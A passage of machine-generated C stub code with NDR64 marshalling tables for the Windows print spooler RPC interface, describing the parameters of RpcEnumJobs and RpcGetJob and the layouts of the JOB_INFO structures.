IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag366,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterContainer */      /* parameter pPrinterContainer */\n        &__midl_frag109,\n        { \n        /* pPrinterContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag156,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pSecurityContainer */      /* parameter pSecurityContainer */\n        &__midl_frag156,\n        { \n        /* pSecurityContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pHandle */      /* parameter pHandle */\n        &__midl_frag677,\n        { \n        /* pHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag406,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag97_t __midl_frag97 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag96_t __midl_frag96 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag97\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag656\n    }\n};\n\nstatic const __midl_frag95_t __midl_frag95 =\n{ \n/* *BYTE */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag96\n};\n\nstatic const __midl_frag90_t __midl_frag90 =\n{ \n/* RpcEnumJobs */\n    { \n    /* RpcEnumJobs */      /* procedure RpcEnumJobs */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 72 /* 0x48 */ ,  /* Stack size */\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 9 /* 0x9 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag405,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* FirstJob */      /* parameter FirstJob */\n        &__midl_frag406,\n        { \n        /* FirstJob */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NoJobs */      /* parameter NoJobs */\n        &__midl_frag406,\n        { \n        /* NoJobs */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag406,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pJob */      /* parameter pJob */\n        &__midl_frag95,\n        { \n        /* pJob */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag403,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag403,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag403,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag78_t __midl_frag78 =\n{ \n/* RpcGetJob */\n    { \n    /* RpcGetJob */      /* procedure RpcGetJob */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag405,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag406,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag406,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pJob */      /* parameter pJob */\n        &__midl_frag653,\n        { \n        /* pJob */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag403,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag403,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag75_t __midl_frag75 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    }\n};\n\nstatic const __midl_frag64_t __midl_frag64 =\n{ \n/* JOB_INFO_4 */\n    { \n    /* JOB_INFO_4 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* JOB_INFO_4 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 160 /* 0xa0 */,\n        0,\n        0,\n        &__midl_frag75,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag63_t __midl_frag63 =\n{ \n/* *JOB_INFO_4 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag64\n};\n\nstatic const __midl_frag62_t __midl_frag62 =\n{ \n/* JOB_INFO_3 */\n    { \n    /* JOB_INFO_3 */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* JOB_INFO_3 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 12 /* 0xc */\n    }\n};\n\nstatic const __midl_frag61_t __midl_frag61 =\n{ \n/* *JOB_INFO_3 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag62\n};\n\nstatic const __midl_frag49_t __midl_frag49 =\n{ \n/* JOB_INFO_2 */\n    { \n    /* JOB_INFO_2 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* JOB_INFO_2 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 160 /* 0xa0 */,\n        0,\n        0,\n        &__midl_frag75,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 